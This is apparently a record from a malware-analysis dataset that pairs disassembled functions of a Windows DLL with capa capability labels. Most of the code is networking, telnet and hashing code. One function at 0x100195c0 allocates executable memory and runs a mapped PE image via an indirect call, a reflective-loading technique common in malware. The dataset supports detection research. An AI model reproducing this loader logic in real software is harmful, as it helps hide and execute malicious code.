joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009fd0
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x10009ff2
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x10009fe6
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x1000a022
cmp dword [esi + 8], 0
jne 0x1000a015
mov ecx, dword [eax + 8]
push 0x1004c6f0
push ecx
call fcn.10037032
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x1000a015
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.1003898b
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x1000a044
mov eax, dword [esi + 8]
test eax, eax
je 0x1000a03e
push eax
call fcn.100370b6
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret

Function at 0x1000a240
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100554b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov ebx, dword [esi + 0x194]
mov eax, dword [esi]
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push ebx
mov dword [ebp - 0x1c], eax
or edi, 0xffffffff
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1000a295
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
push ecx
push ebx
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
mov eax, ebx
call fcn.10003450
cmp edi, 0xffffffff
jne 0x1000a2c8
mov edx, dword [ebp - 0x1c]
push str.Error_accept__ing_server_connect
push edx
call fcn.10022ce0
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10035d36
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x1c]
push str.Connection_accepted_from_server_n
push ebx
call fcn.10022c60
push 1
mov edx, edi
mov dword [esi + 0x298], 0
mov dword [esi + 0x194], edi
call fcn.1001e170
mov dword [esi + 0x1a4], 1
mov eax, dword [ebx + 0x1b0]
add esp, 0xc
test eax, eax
je 0x1000a336
mov ecx, dword [ebx + 0x1b4]
push 1
push edi
push ecx
call eax
add esp, 0xc
test eax, eax
je 0x1000a336
mov eax, esi
call fcn.1000a170
mov eax, 0x2a
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10035d36
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10035d36
mov esp, ebp
pop ebp
ret
Function at 0x1000c330
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
push ebx
mov ebx, dword [edi]
shr eax, 0x1f
push esi
add eax, edx
xor esi, esi
cmp eax, 2
je 0x1000c366
push str.Couldnt_set_desired_mode
push ebx
call fcn.10022ce0
add esp, 8
lea eax, [esi + 0x11]
pop esi
pop ebx
pop ecx
pop ebp
ret
cmp ecx, 0xc8
je 0x1000c37d
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.10022c60
add esp, 0xc
mov eax, dword [ebp + 8]
cmp eax, 0x13
jne 0x1000c395
push edi
call fcn.1000b4f0
add esp, 4
mov esi, eax
pop esi
pop ebx
pop ecx
pop ebp
ret
cmp eax, 0x14
jne 0x1000c3aa
push edi
call fcn.1000b550
add esp, 4
mov esi, eax
pop esi
pop ebx
pop ecx
pop ebp
ret
cmp eax, 0x15
jne 0x1000c3bd
mov eax, edi
call fcn.1000b670
mov esi, eax
pop esi
pop ebx
pop ecx
pop ebp
ret
cmp eax, 0x16
jne 0x1000c3cb
mov eax, edi
call fcn.1000b680
mov esi, eax
mov eax, esi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x1000fae0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100554b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.10038beb
add esp, 4
mov byte [ebp - 0x108], 0
test eax, eax
je 0x1000fb44
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [ebp - 0x108], 0
je 0x1000fb44
lea edx, [ebp - 0x108]
push edx
call dword [0x100560f4]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10035d36
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.10035d36
mov esp, ebp
pop ebp
ret

Function at 0x1000fb60
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1000fae0
Function at 0x10010800
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x2c
mov ebx, eax
mov edi, ecx
call dword [0x100560e8]
mov esi, eax
add esp, 4
test esi, esi
jne 0x10010825
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0xc]
lea ecx, [eax + 8]
mov dword [esi], fcn.100193e0
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
cmp ebx, 0x40
jbe 0x10010868
push eax
call dword [0x1004b7ac]
mov edx, dword [esi + 4]
push ebx
push edi
push edx
call dword [0x1004b7b0]
mov edi, dword [esi + 8]
mov eax, dword [esi + 4]
push eax
add edi, 8
push edi
call dword [0x1004b7b4]
add esp, 0x18
mov ebx, 0x10
mov ecx, dword [esi + 4]
push ecx
call dword [0x1004b7ac]
mov edx, dword [esi + 8]
push edx
call dword [0x1004b7ac]
add esp, 8
xor eax, eax
test ebx, ebx
je 0x100108d1
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jmp 0x10010890
movzx eax, byte [edi]
xor al, 0x36
push 1
lea ecx, [ebp - 1]
mov byte [ebp - 1], al
mov edx, dword [esi + 4]
push ecx
push edx
call dword [0x1004b7b0]
movzx eax, byte [edi]
xor al, 0x5c
push 1
lea ecx, [ebp - 1]
mov byte [ebp - 1], al
mov edx, dword [esi + 8]
push ecx
push edx
inc edi
call dword [0x1004b7b0]
add esp, 0x18
dec dword [ebp - 8]
jne 0x10010890
cmp ebx, 0x40
jae 0x10010908
mov eax, dword [ebp - 0xc]
mov edi, 0x40
sub edi, eax
jmp 0x100108e0
mov eax, dword [esi + 4]
push 1
push 0x1004b22f
push eax
call dword [0x1004b7b0]
mov ecx, dword [esi + 8]
push 1
push 0x1004b289
push ecx
call dword [0x1004b7b0]
add esp, 0x18
dec edi
jne 0x100108e0
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100193e0
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000000
push 1
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10019413
mov ecx, dword [esi]
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x8003
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop esi
pop ebp
ret

Function at 0x100195c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
cmp dword [esi + 8], 0
mov eax, dword [0x10057238]
mov dword [ebp - 4], eax
je 0x100195dc
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [0x10057230]
mov edx, esi
call fcn.10019a70
test eax, eax
jne 0x100195f4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov eax, esi
call fcn.10019b10
mov ebx, eax
test ebx, ebx
je 0x100196b0
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100196b0
mov eax, dword [ebp - 4]
push eax
push edi
call fcn.10019b80
mov eax, dword [esi + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x10019647
cmp dword [eax + 0xa4], 0
jbe 0x10019647
push edi
mov eax, esi
call fcn.10019820
push esi
mov edx, edi
call fcn.10019890
test eax, eax
jne 0x10019669
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 4]
push ecx
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esi + 0x10]
mov dword [edx + 0x34], edi
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x28]
push 0
push 1
add eax, edi
push edi
mov dword [esi + 4], eax
call eax
test eax, eax
jne 0x100196b9
mov edx, dword [esi + 4]
push eax
push eax
push edi
call edx
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], 0
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
pop ebx
mov dword [esi + 8], edi
pop edi
mov dword [esi], 1
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100196d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x1004e9a0
call esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x10]
cmp dword [eax + 0x78], 0
je 0x10019802
cmp dword [eax + 0x7c], 0
je 0x10019802
push str.VGBLgtVRfwCtwdN
call esi
cmp dword [ebx], 0
jne 0x1001971c
push str.isLoadOk
call esi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x10]
mov esi, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
push edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 8]
mov edi, dword [eax + esi + 0x24]
mov edx, dword [eax + esi + 0x18]
mov ecx, dword [eax + esi + 0x14]
add edi, eax
mov dword [ebp - 4], edx
mov edx, dword [eax + esi + 0x1c]
mov dword [ebp - 0xc], edi
mov edi, dword [eax + esi + 0x20]
mov dword [ebp - 0x14], ecx
add edx, eax
mov ecx, str.VGBLgtVRfwCtwdN
add edi, eax
mov dword [ebp - 0x10], edx
test ecx, 0xffff0000
jne 0x10019770
mov ecx, 0xffff
sub ecx, dword [eax + esi + 0x10]
and ecx, str.VGBLgtVRfwCtwdN
jmp 0x100197db
xor ebx, ebx
cmp dword [ebp - 4], ebx
jle 0x100197bf
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov dword [ebp - 8], eax
mov eax, dword [edi + ebx*4]
add eax, dword [ebp - 8]
mov ecx, str.VGBLgtVRfwCtwdN
jmp 0x10019790
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100197b0
test dl, dl
je 0x100197ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100197b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10019790
xor eax, eax
jmp 0x100197b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100197ca
inc ebx
cmp ebx, dword [ebp - 4]
jl 0x10019780
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
test ebx, ebx
js 0x100197bf
mov ecx, dword [ebp - 0xc]
movzx ecx, word [ecx + ebx*2]
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
test ecx, ecx
js 0x100197bf
cmp ecx, dword [ebp - 0x14]
jge 0x100197bf
mov ecx, dword [edx + ecx*4]
cmp ecx, esi
jbe 0x100197f4
mov edx, dword [ebp - 0x18]
add edx, esi
cmp ecx, edx
jb 0x100197bf
mov eax, dword [ebx + 8]
pop edi
pop esi
add eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.NULL
call esi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10019a70
Capabilities:
Parse pe header

Disassembly:
cmp edi, 0x40
jae 0x10019a78
xor eax, eax
ret
mov ecx, 0x5a4d
mov dword [edx + 0xc], eax
cmp word [eax], cx
jne 0x10019a75
mov ecx, dword [eax + 0x3c]
push esi
lea esi, [ecx + 0xf8]
cmp edi, esi
jb 0x10019abc
add eax, ecx
mov dword [edx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x10019abc
movzx ecx, word [eax + 0x16]
test ecx, 0x2000
je 0x10019abc
test cl, 2
je 0x10019abc
mov ecx, 0xe0
cmp word [eax + 0x14], cx
je 0x10019ac0
xor eax, eax
pop esi
ret
push ebx
lea esi, [eax + 0xf8]
xor ebx, ebx
mov dword [edx + 0x14], esi
xor ecx, ecx
cmp bx, word [eax + 6]
jae 0x10019af1
xor eax, eax
mov ebx, dword [eax + esi + 0x14]
add ebx, dword [eax + esi + 0x10]
cmp ebx, edi
ja 0x10019af9
mov ebx, dword [edx + 0x10]
movzx ebx, word [ebx + 6]
inc ecx
add eax, 0x28
cmp ecx, ebx
jl 0x10019ad6
pop ebx
mov eax, 1
pop esi
ret
pop ebx
xor eax, eax
pop esi
ret
Function at 0x1001d4d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push ebx
push edi
xor edi, edi
mov ebx, eax
mov dword [esp + 8], edi
call fcn.1002b060
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
cmp dword [ebp + 8], edi
je 0x1001d529
mov eax, dword [ebp + 0x10]
push eax
push esi
call sym.libcurl.dll_curl_multi_perform
mov ebx, eax
add esp, 8
cmp ebx, 1
je 0x1001d521
mov edi, dword [esi + 4]
test edi, edi
je 0x1001d521
push esi
mov ecx, edi
call fcn.1001d170
mov edi, dword [edi]
add esp, 4
test edi, edi
jne 0x1001d510
mov eax, ebx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xffffffff
je 0x1001d5fb
push ebx
lea ebx, [esi + 0x60]
call fcn.1001b070
add esp, 4
test eax, eax
je 0x1001d610
mov edi, dword [eax]
cmp dword [edi + 0x4938], 0xc0dedbad
je 0x1001d55f
mov eax, 4
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 8]
mov edx, dword [ebp + 0xc]
test eax, eax
je 0x1001d58d
test dl, 2
je 0x1001d57c
mov ecx, dword [eax + 0x354]
test ecx, ecx
je 0x1001d57c
mov edi, dword [ecx]
jmp 0x1001d58d
test dl, 1
je 0x1001d58d
mov eax, dword [eax + 0x364]
test eax, eax
je 0x1001d58d
mov edi, dword [eax]
mov eax, dword [edi + 8]
mov bl, 8
test eax, eax
je 0x1001d5a7
mov ecx, dword [eax + 0x310]
test byte [ecx + 0x40], bl
jne 0x1001d5a7
mov dword [eax + 0x580], edx
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push eax
push edi
push esi
call fcn.1001bf50
mov ecx, dword [edi + 8]
add esp, 0x10
mov dword [esp + 8], eax
test ecx, ecx
je 0x1001d5db
mov edx, dword [ecx + 0x310]
test byte [edx + 0x40], bl
jne 0x1001d5db
mov dword [ecx + 0x580], 0
test eax, eax
jg 0x1001d5ea
push esi
mov ecx, edi
call fcn.1001d170
add esp, 4
xor edi, edi
call fcn.1002b060
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
jmp 0x1001d610
xor eax, eax
mov dword [esi + 0xec], eax
mov dword [esi + 0xf0], eax
lea esp, [esp]
test edi, edi
je 0x1001d63b
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push eax
push ecx
push edi
push esi
call fcn.1001bf50
add esp, 0x10
mov dword [esp + 8], eax
test eax, eax
jg 0x1001d63b
push esi
mov ecx, edi
call fcn.1001d170
add esp, 4
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push eax
mov eax, dword [esi + 0x5c]
lea edi, [esp + 0x14]
call fcn.10027000
mov dword [esi + 0x5c], eax
mov eax, dword [esp + 0x14]
add esp, 8
test eax, eax
je 0x1001d678
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov edi, dword [eax + 0x18]
push ecx
push edx
push edi
push esi
call fcn.1001d410
add esp, 0x10
jmp 0x1001d610
mov eax, dword [esi + 0x10]
mov ecx, dword [ebp + 0x10]
pop edi
mov dword [ecx], eax
mov eax, dword [esp + 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001e900
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [eax + 0x2c]
push ebx
mov ebx, dword [ecx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebx + 0x1ec]
push esi
push edi
mov esi, ecx
test ecx, ecx
jne 0x1001e920
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.1002b060
push edx
push eax
call fcn.1002b090
mov ecx, eax
mov eax, esi
mov dword [ebp - 4], edx
cdq
add esp, 0x10
mov edi, eax
sub edi, ecx
mov esi, edx
sbb esi, dword [ebp - 4]
cmp dword [ebx + 0x1e0], 0
je 0x1001e98c
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x184]
mov eax, dword [eax + 0x180]
push edx
push eax
call fcn.1002b060
push edx
push eax
call fcn.1002b090
mov ecx, eax
mov eax, dword [ebx + 0x1e0]
mov dword [ebp - 8], edx
cdq
add esp, 0x10
sub eax, ecx
sbb edx, dword [ebp - 8]
cmp esi, edx
jl 0x1001e98c
jg 0x1001e990
cmp edi, eax
jae 0x1001e990
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10022b20
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, dword [eax + ecx*4 + 0x190]
mov edx, ecx
add edx, edx
push esi
lea esi, [eax + edx*8 + 0x1b8]
mov edx, dword [eax + 0x310]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [edx + 0x3c], 3
je 0x10022bca
cmp dword [eax + ecx*4 + 0x1a8], 0x10022f90
jne 0x10022bca
cmp dword [esi], 0
je 0x10022b64
test edi, edi
je 0x10022bca
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.10022380
add esp, 0x14
cmp eax, 0xffffffff
je 0x10022bca
test al, 1
je 0x10022bca
cmp dword [esi], 0
jne 0x10022ba9
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x100560e8]
mov edi, dword [esi + 4]
xor ecx, ecx
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], ecx
mov dword [esi + 0xc], ecx
cmp eax, ecx
je 0x10022bc7
mov eax, dword [esi]
add eax, dword [esi + 8]
push 0
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10022bca
add dword [esi + 8], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10022ec0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + ecx*4 + 0x190]
mov eax, esi
call fcn.10022b20
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
push 0
push eax
push ecx
push edi
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp + 0x18]
mov ebx, eax
mov dword [edx], 0
cmp ebx, 0xffffffff
jne 0x10022f45
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10022f1b
mov ecx, dword [ebp + 0x18]
xor eax, eax
mov dword [ecx], 0x51
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call fcn.10027b30
mov edx, dword [esi]
push eax
push str.Send_failure:__s
push edx
call fcn.10022ce0
mov eax, dword [esi]
mov ecx, dword [ebp + 0x18]
mov dword [eax + 0x4734], edi
add esp, 0x10
mov dword [ecx], 0x37
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100232e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x1002330a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x10023460
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x1002347b
mov edx, dword [esi + 0x134]
push edx
push edi
push ebx
push eax
push esi
call ecx
add esp, 0x14
ret
test eax, eax
js 0x100234af
cmp eax, 2
jg 0x100234af
mov ecx, dword [esi + 0x130]
push ecx
push 1
lea edx, [eax + eax*2 + 0x1004b274]
push 2
push edx
call fcn.1003957a
mov eax, dword [esi + 0x130]
push eax
push 1
push edi
push ebx
call fcn.1003957a
add esp, 0x20
xor eax, eax
ret
Function at 0x10027d20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push str.kernel32
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
jne 0x10027d3f
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push str.LoadLibraryExA
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x100512ac
push str.WS2_32.DLL
mov dword [ebp - 4], esi
call fcn.1003975d
add esp, 8
test eax, eax
je 0x10027d93
test esi, esi
je 0x10027d7f
push 8
push 0
push str.WS2_32.DLL
call esi
pop esi
pop edi
mov ebx, eax
pop ebx
mov esp, ebp
pop ebp
ret
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop edi
mov ebx, eax
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10027dbe
push str.AddDllDirectory
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10027dbe
push 0x800
push 0
push str.WS2_32.DLL
call esi
pop esi
pop edi
mov ebx, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, eax
test edi, edi
je 0x10027e50
lea eax, [edi + 0xb]
push eax
call dword [0x100560e8]
mov esi, eax
add esp, 4
test esi, esi
je 0x10027e46
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x10027e46
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10027df6
sub eax, edx
mov ecx, 0x5c
mov word [eax + esi], cx
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10027e10
sub eax, edx
mov ecx, str.WS2_32.DLL
lea edx, [eax + esi]
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x10027e23
mov eax, dword [ebp - 4]
test eax, eax
je 0x10027e3d
push 8
push 0
push esi
call eax
jmp 0x10027e44
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
push esi
call dword [0x100560ec]
add esp, 4
pop esi
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10027e60
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x100554b0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10027ea8
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.10022ce0
add esp, 0xc
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10035d36
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x198]
cmp al, 2
jne 0x10027ecf
shr eax, 8
test al, al
jne 0x10027ecf
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10035d36
mov esp, ebp
pop ebp
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.10022ce0
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 8
mov eax, 2
call fcn.10035d36
mov esp, ebp
pop ebp
ret
Function at 0x100280b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [edi + 0x190]
push ebx
push esi
mov esi, dword [edi]
push 0
push 3
lea ecx, [ebp - 4]
mov ebx, eax
mov al, byte [ebp + 8]
push ecx
push edx
mov byte [ebp - 4], 0xff
mov byte [ebp - 3], al
mov byte [ebp - 2], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x100280f5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push esi
call fcn.10022ce0
add esp, 0xc
mov esi, dword [ebp + 8]
mov ecx, dword [edi]
mov eax, ebx
mov ebx, str.SENT
call fcn.10027fb0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10028dc0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x1f
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
push esi
push edi
mov edi, dword [eax + 0x128]
mov dword [ebp - 4], eax
jne 0x10028f0c
lea ebx, [edi + 0x1cb0]
lea esi, [edi + 0x1eb0]
mov dword [esi], ebx
cmp ebx, esi
jae 0x10028df6
mov byte [ebx], 0xff
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e01
mov byte [eax], 0xfa
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e0c
mov byte [eax], 0x1f
inc dword [esi]
movzx ecx, word [edi + 0x1ca8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
movzx edx, ax
movzx eax, word [edi + 0x1caa]
push eax
mov dword [ebp + 0xc], edx
call dword [sym.imp.WS2_32.dll_htons]
movzx ecx, ax
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e3e
mov dl, byte [ebp + 0xc]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e4b
mov dl, byte [ebp + 0xd]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e55
mov byte [eax], cl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e5f
mov byte [eax], ch
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e6a
mov byte [eax], 0xff
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x10028e75
mov byte [eax], 0xf0
inc dword [esi]
mov eax, dword [esi]
mov dword [edi + 0x1eb4], eax
sub eax, ebx
sub eax, 2
push eax
mov dword [esi], ebx
mov esi, dword [ebp - 4]
lea eax, [edi + 0x1cb2]
push 0x3e
call fcn.100284b0
mov esi, dword [sym.imp.WS2_32.dll_send]
add esp, 8
push 0
push 3
push ebx
mov ebx, dword [ebp + 8]
mov edx, dword [ebx + 0x190]
push edx
call esi
test eax, eax
jns 0x10028ecb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, dword [ebp - 4]
push str.Sending_data_failed___d_
push eax
call fcn.10022ce0
add esp, 0xc
lea ecx, [edi + 0x1cb3]
push 4
push ecx
call fcn.100292e0
mov edx, dword [ebx + 0x190]
add esp, 8
push 0
push 2
add edi, 0x1cb7
push edi
push edx
call esi
test eax, eax
jns 0x10028f0c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, dword [ebp - 4]
push str.Sending_data_failed___d_
push eax
call fcn.10022ce0
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10029e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
push str.Connected_for_receive
push 0x1004c1c8
push ecx
call fcn.10022c60
add esp, 0xc
mov eax, esi
mov dword [esi], 1
call fcn.10029950
test eax, eax
jne 0x10029e64
mov eax, esi
pop ebp
jmp fcn.1002a1f0
pop ebp
ret